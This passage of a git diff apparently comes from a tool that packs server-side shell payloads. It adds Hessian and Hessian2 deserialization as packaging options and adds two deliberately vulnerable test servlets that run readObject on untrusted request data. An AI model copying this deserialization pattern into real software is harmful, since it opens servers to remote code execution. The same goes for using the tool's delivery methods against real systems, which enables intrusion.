     cb170 'commons-beanutils:commons-beanutils:1.7.0'
     cb161 'commons-beanutils:commons-beanutils:1.6.1'
 
+    implementation 'com.caucho:hessian:4.0.66'
     providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
 }
 
@@ -35,18 +36,18 @@ war {
     duplicatesStrategy = DuplicatesStrategy.EXCLUDE
 
     doFirst {
-        delete "${webAppDir}/WEB-INF/dep"
+        delete "src/main/webapp/WEB-INF/dep"
 
-        copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
     }
 }
 
 clean {
-    delete "${webAppDir}/WEB-INF/dep"
+    delete "src/main/webapp/WEB-INF/dep"
 }
 
 test {

vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.Hessian2Input;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian2")
+public class Hessian2ReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new Hessian2Input(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.HessianInput;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian")
+public class HessianReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new HessianInput(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB110jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb110")
-public class JavaReadObCB110jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB110jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB161jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb161")
-public class JavaReadObCB161jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB161jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB170jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb170")
-public class JavaReadObCB170jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB170jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB183jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb183")
-public class JavaReadObCB183jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB183jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

web/package.json

@@ -38,7 +38,7 @@
     "@radix-ui/react-tabs": "^1.1.3",
     "@radix-ui/react-tooltip": "^1.1.8",
     "@tailwindcss/vite": "^4.0.7",
-    "@tanstack/react-query": "^5.66.7",
+    "@tanstack/react-query": "^5.66.8",
     "@tanstack/react-router": "^1.106.0",
     "@tanstack/router-devtools": "^1.106.0",
     "class-variance-authority": "^0.7.1",
@@ -51,7 +51,7 @@
     "react-hook-form": "^7.54.2",
     "react-i18next": "^15.4.1",
     "react-syntax-highlighter": "^15.6.1",
-    "sonner": "^2.0.0",
+    "sonner": "^2.0.1",
     "tailwind-merge": "^3.0.1",
     "tailwind-scrollbar": "^4.0.0",
     "tailwindcss-animate": "^1.0.7",

web/src/components/shell-result.tsx

@@ -29,7 +29,7 @@ import {
 } from "@/types/shell.ts";
 import { TFunction } from "i18next";
 import { CircleHelpIcon, FileTextIcon, ScrollTextIcon, TriangleAlertIcon } from "lucide-react";
-import { Fragment, useState } from "react";
+import { Fragment, useEffect, useState } from "react";
 import { useTranslation } from "react-i18next";
 import { toast } from "sonner";
 
@@ -280,6 +280,14 @@ function MultiPackResult({
   const packMethods = Object.keys(allPackResults ?? {});
   const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
   const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
+
+  useEffect(() => {
+    const methods = Object.keys(allPackResults ?? {});
+    const firstMethod = methods[0];
+    setSelectedMethod(firstMethod);
+    setPackResult(allPackResults?.[firstMethod as keyof typeof allPackResults] ?? "");
+  }, [allPackResults]);
+
   return (
     <Fragment>
       <CodeViewer

web/src/i18n/en.json

@@ -61,7 +61,9 @@
       "ScriptEngine": "ScriptEngine",
       "SpEL": "SpEL",
       "Velocity": "Velocity",
-      "XxlJob": "XXL-JOB Executor"
+      "XxlJob": "XXL-JOB Executor",
+      "Hessian2Deserialize": "Hessian2Deserialize",
+      "HessianDeserialize": "HessianDeserialize"
     },
     "title": "Package Method"
   },

web/src/i18n/zh-CN.json

@@ -53,7 +53,7 @@
       "JSP": "JSP",
       "JXPath": "JXPath 表达式",
       "Jar": "Jar",
-      "JavaDeserialize": "Java反序列化",
+      "JavaDeserialize": "Java 反序列化",
       "JinJava": "JinJava",
       "MVEL": "MVEL 表达式",
       "OGNL": "OGNL 表达式",
@@ -61,7 +61,9 @@
       "ScriptEngine": "内置脚本引擎",
       "SpEL": "SpEL 表达式",
       "Velocity": "Velocity",
-      "XxlJob": "XXL-JOB Executor"
+      "XxlJob": "XXL-JOB Executor",
+      "Hessian2Deserialize": "Hessian2 反序列化",
+      "HessianDeserialize": "Hessian 反序列化"
     },
     "title": "打包方式"
   },